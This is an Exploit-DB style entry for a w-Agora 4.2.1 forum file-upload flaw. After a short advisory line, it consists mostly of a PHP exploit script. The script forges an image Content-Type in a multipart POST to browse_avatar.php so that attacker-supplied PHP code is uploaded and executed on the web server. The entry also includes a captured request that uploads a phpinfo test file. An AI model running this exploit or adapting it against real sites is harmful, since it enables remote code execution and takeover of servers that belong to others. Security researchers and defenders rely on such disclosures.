W-Agora 4.2.1 - Multiple Arbitrary File Upload Vulnerabilities

EDB-ID:

29763


Platform:

PHP

Published:

2007-03-20

source: https://www.securityfocus.com/bid/23055/info

w-Agora is prone to multiple arbitrary file-upload vulnerabilities.

An attacker can exploit these vulnerabilities to upload PHP script code and execute it in the context of the webserver process.

w-Agora 4.2.1 is vulnerable. 

<?php
/*
Title .......................: w-Agora Forum 4.2.1 Remote File Upload Exploit
Site ........................: http://www.w-agora.com/en/download.php
Version .....................:  4.2.1
 
 
Author ......................: Treasure Priyamal
Site ........................: http://treasuresec.com
E-mail ......................: treasure[at]treasuresec.com
 
Discription
===========
w-Agora avatar upload option has content file detect option , but it can be replace with simply editing
POST Request from your browser
 
Here is a dump from Temp-Data I editied while im upload the File. Just simply replacing the Content-Type
you will be able to upload your script
 
 
6:28:18.073[118ms][total 3862ms] Status: 200[OK]
POST http://localhost/w-agora/browse_avatar.php Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[-1] Mime Type[text/html]
   Request Headers:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8]
      Accept-Language[en-us,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7]
      Keep-Alive[115]
      Connection[keep-alive]
      Referer[http://localhost/w-agora/browse_avatar.php?site=localhost]
      Cookie[wa_lang=en; WAS_localhost_test=LastVisit%3D1306715684%26ThisVisit%3D1306715918%26visited%3D1306672722%2B; WAP_localhost_test=Visits%3D1%26LastVisit%3D1306715684; localhost_test_sort=newest; WAP_localhost_auth=lastVisit%3D1306715682%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6; localhost_auth=lastVisit%3D1306715998%26uid%3Dtest%26pw%3D098f6bcd4621d373cade4e832627b4f6]
   Post Data:
      POST_DATA[-----------------------------76401208715012
Content-Disposition: form-data; name="site"
 
localhost
-----------------------------76401208715012
Content-Disposition: form-data; name="submitted"
 
true
-----------------------------76401208715012
Content-Disposition: form-data; name="perpage"
 
20
-----------------------------76401208715012
Content-Disposition: form-data; name="first"
 
0
-----------------------------76401208715012
Content-Disposition: form-data; name="avatar"; filename="echo.php"
Content-Type: image/jpeg\
 
<?php phpinfo(); ?>
 
-----------------------------76401208715012
Content-Disposition: form-data; name="submit"
 
Copy file
-----------------------------76401208715012--
]
   Response Headers:
      Date[Mon, 30 May 2011 00:58:18 GMT]
      Server[Apache/2.2.11 (Win32) PHP/5.3.0]
      X-Powered-By[PHP/5.3.0]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]
 
 
 
 
*/
 
if(count($argv) == 5)
{
    echo "\n\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "|        w-Agora Forum 4.2.1 Remote File Upload Exploit          |\r\n";
    echo "|                   Treasure Security                            |\r\n";
    echo "|                 by Treasure Priyamal                           |\r\n";
    echo "|        Usage: php exploit.php site.com /path/ user pass        |\r\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "\n";
          
    echo "Code to write in the file (ie. <?php phpinfo(); ?>) :\r\n\n";
    $code     =   trim(fgets(STDIN));
      
    $socket   =   @fsockopen($argv[1], 80, $eno, $estr, 30);
    if(!$socket)
    {
        die("Could not connect to ".$argv[1].". Operation aborted.");
    }
      
    $part1      =   "POST http://192.168.1.101/w-agora/browse_avatar.php?site=localhost HTTP/1.1\r\n";
    $part1     .=   "Host: " . $argv[1] . "\r\n";
    $part1     .=   "User-Agent : Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\r\n";
    $part1     .=   "Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $part1     .=   "Connection: keep-alive\r\n";
    $part1     .=   "Accept-Language : en-us,en;q=0.5\r\n";
    $part1     .=   "Referer :localhost/w-agora/browse_avatar.php?site=localhost\r\n";
    $part1     .=   "Cookie : wa_lang=en\r\n";
 
 
    $part1     .=   "Content-Type : multipart/form-data; boundary=---------------------------14695017222113685839218008876\r\n";
    $part2      =   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"site\"\r\n";
    $part2     .=   "localhost\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"submitted\"\r\n";
    $part2     .=   "true\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"perpage\"\r\n";
    $part2     .=   "20\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"first\"\r\n";
    $part2     .=   "0\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"avatar\"; filename=\"file.php\"\r\n";
    $part2     .=   "Content-Type: image/gif\r\n";  // this is where the magic happens
    $part2     .=   $code."\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
    $part2     .=   "Content-Disposition: form-data; name=\"Submit\"\r\n";
    $part2     .=   "Copy file\r\n";
    $part2     .=   "-----------------------------14695017222113685839218008876\r\n";
      
    $part1     .=   "Content-Length: " . strlen($part2) . "\r\n\r\n";
    $part1     .=   $part2;
 
 
    fwrite($socket, $part1);
 
  
    echo "check the upload folder";
      
}
else
{
    echo "\n\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "|        w-Agora Forum 4.2.1 Remote File Upload Exploit         |\r\n";
    echo "|                   Treasure Security                            |\r\n";
    echo "|        by Treasure Priyamal                                    |\r\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "|        Usage: php exploit.php site.com /path/ user pass       |\r\n";
    echo "+---------------------------------------------------------------+\r\n";
    echo "\n\n";
}
?>